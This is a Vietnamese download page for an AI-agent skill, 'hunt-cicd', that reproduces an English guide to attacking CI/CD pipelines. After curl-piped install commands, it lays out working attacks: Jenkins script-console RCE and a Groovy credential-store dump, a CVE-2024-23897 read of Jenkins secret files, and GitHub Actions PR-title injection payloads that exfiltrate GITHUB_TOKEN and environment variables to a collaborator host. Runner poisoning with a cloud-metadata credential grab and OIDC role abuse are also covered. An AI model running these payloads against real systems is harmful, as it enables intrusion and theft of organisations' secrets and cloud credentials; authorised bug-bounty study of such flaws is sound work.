hunt-cicd – skill Bảo mật cho agent AI
Săn lỗ hổng pipeline CI/CD — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), đầu độc self-hosted runner, lạm dụng trust policy OIDC, Jenkins script-console RCE và đọc file CVE-2024-23897, đăng ký runner token GitLab CI, rò rỉ file state Terraform, artifact/log se
Cài skill hunt-cicd bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-cicd-0a221.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-cicd – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-cicd-0a221.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-cicd – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-cicd-0a221.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-cicd – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-cicd-0a221.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-cicd – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-CICD — CI/CD Pipeline Security
Crown Jewel Targets
Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.
Highest-value findings:
- Jenkins Script Console — Groovy execution → full RCE → dump the credential store
- Jenkins CLI file read (CVE-2024-23897) — pre-auth
@/etc/passwdarg expansion → readsecret.key/credentials.xml→ forge admin → RCE - GitHub Actions
pull_request_targetinjection (Pwnrequest) — fork PR controls${{ }}inside a privileged shell step → exfilGITHUB_TOKEN(oftencontents:write) and org secrets - Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
- OIDC trust-policy abuse — over-broad
subclaim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role - Terraform state leakage —
*.tfstatein public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys - Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before
::add-mask::
---
"It-Didn't-Happen-Without-Proof" Gate (Read First)
CI/CD findings are over-reported because dashboards *look* exploitable. Before claiming anything:
1. A login page is not an RCE. A reachable /script URL that returns a Jenkins login or 403 is not an unauthenticated script console. Only an actual scriptText POST returning your command's output counts.
2. A pull_request_target workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
3. Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
4. A .tfstate HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many tfstate files contain only resource IDs and outputs, no secrets.
---
Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl --max-time 30 --connect-timeout 10 -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
doneUnauthenticated script console → RCE (only if the POST returns output):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'Dump the credential store (Groovy decrypts secrets the UI masks):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xmlValidation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.
---
Phase 2 — GitHub Actions: Pwnrequest, ${{ }}-into-Shell, Runner Poisoning, OIDC
The core distinction (this is where 90% of false PoCs die)
There are two sink classes — they need different payloads:
${{ }}template expansion into a shellrun:— the expression is substituted into the script *before* the shell runs, so a newline/backtick/$(...)in the untrusted field becomes literal shell. This is the classic injection.- Environment variable read inside the shell —
GITHUB_TOKEN,secrets.X, and anyenv:-mapped value are shell variables whose value IS the string. To exfiltrate them you useecho/printenv, nevercat $VAR(that tries to open a file *named* by the token and prints nothing).
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target # runs with write token + secrets, on fork PRs
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
- run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTIONAttack via the ${{ }} sink — set the PR title (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with printenv, not cat:
PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "For a multi-line YAML run:, a newline injection is cleaner:
PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)Attack via a poisoned checkout (no ${{ }} needed) — if pull_request_target checks out the PR head and then runs a build script / installs deps from the checked-out tree (make, npm ci with a malicious preinstall, a Makefile, a .github/ action in the PR), the *runner executes attacker code directly*. Drop into any build hook:
# in attacker's PR, e.g. package.json preinstall or Makefile:
curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as envSelf-hosted runner poisoning — if runs-on: self-hosted (or a custom label) on a public repo with pull_request/pull_request_target, a fork PR's job runs on the org's own host. Non-ephemeral runners persisttools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:
- run: |
whoami; hostname; id
curl --max-time 30 --connect-timeout 10 -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 --connect-timeout 2 http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ | base64 -w0)"OIDC trust-policy abuse — workflows that configure-aws-credentials via OIDC assume an IAM role. A trust policy whose token.actions.githubusercontent.com:sub condition is missing or uses a loose wildcard (repo:ORG/*:*) lets any workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:
aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).Then prove it: from a workflow you control in-org, assume the role and run aws sts get-caller-identity returning the privileged role ARN.
Recon
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
| jq -r '.data.organization.repositories.nodes[].name' | while read r; do
for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
echo "$body" | grep -Eq '\$\{\{ *github\.ev… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- api-security – Đánh giá bảo mật có ủy quyền đối với REST, GraphQL, WebSocket và SOAP API: khám phá, lỗi…
- hunt-csrf – Kỹ năng săn lỗ hổng csrf. Được xây dựng từ 15 báo cáo bug bounty công khai, bao gồm các…
- hunt-django – Săn lỗ hổng riêng cho Django: lỗ hổng phân quyền DRF, ORM injection và khai thác admin.
- hunt-fastapi – Săn lỗ hổng riêng cho FastAPI: lỗ hổng dependency injection, ép kiểu Pydantic và khai…
- geopandas – Hướng dẫn và công cụ kiểm tra cục bộ cho quy trình Python dùng trực tiếp GeoPandas…
- security-best-practices – Thực hiện rà soát thực hành bảo mật đặc thù cho từng ngôn ngữ và framework, đề xuất cải…
- hunt-graphql – Skill săn lỗ hổng GraphQL. Được xây dựng từ 12 báo cáo bug bounty công khai về IDOR qua…
- hunt-grpc – Săn lỗ hổng gRPC: server reflection được bật (liệt kê tất cả service/method), thiếu xác…